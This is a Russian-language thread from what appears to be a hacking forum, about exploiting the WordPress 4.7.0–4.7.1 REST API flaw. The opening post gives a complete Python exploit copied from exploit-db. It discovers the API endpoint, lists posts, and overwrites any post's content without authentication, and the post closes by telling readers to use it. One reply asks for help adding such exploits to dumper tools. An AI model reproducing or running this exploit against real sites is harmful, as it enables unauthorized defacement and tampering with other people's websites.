Wordpress 4.7 Эксплуатация уязвимости в REST API

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

lolik228

Участник

lolik228

Участник
2 Фев 2017
448
101
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Есть блоu на wordpress, который я исследую на предмет безопасности. Первое с чего я начал это конечно же wpscan, он выдал мне уязвимость следующего характера:


Title: WordPress 4.7.0-4.7.1 - Unauthenticated Page/Post Content Modification via REST API
Fixed in: 4.7.2


И различные ссылки на описание уязвимости. Начал гуглить, читать про уязвимость. После пошел на exploit - db, где нарыл очень интересный эксплоит на python:

import json
import sys
import urllib2

from lxml import etree


def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)

data = etree.HTML(response.read())
u = data.xpath('//link[@rel="
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"]/
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
')[0]

# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')

return u


def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())

for post in posts:
str = u' - Post ID: {0}, Title: {1}, Url: {2}'.format(post['id'], post['title']['rendered'], post['link'])
print(str)


def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
#
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

data = json.dumps({
'content': post_content
})

url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()

print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))


def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))


if __name__ == '__main__':

# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)

# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)

print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))

# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)

sys.exit(0)

# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()

update_post(api_url, sys.argv[2], ''.join(new_content))


Пользуйтесь))
print('* Update complete!')
 

bless

Участник

bless

Участник
22 Апр 2017
77
2
Про эту уязвимость уже все кому не лень знают.. Сколько раз в новостях мелькала.
 

ecploit

Участник

ecploit

Участник
18 Апр 2017
27
0
вот написал бы кто как добавить в дампер и другой подобный софт уязвимости это был бы под хайд)))p.s. знающие подскажите как это сделать(ЛС).
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя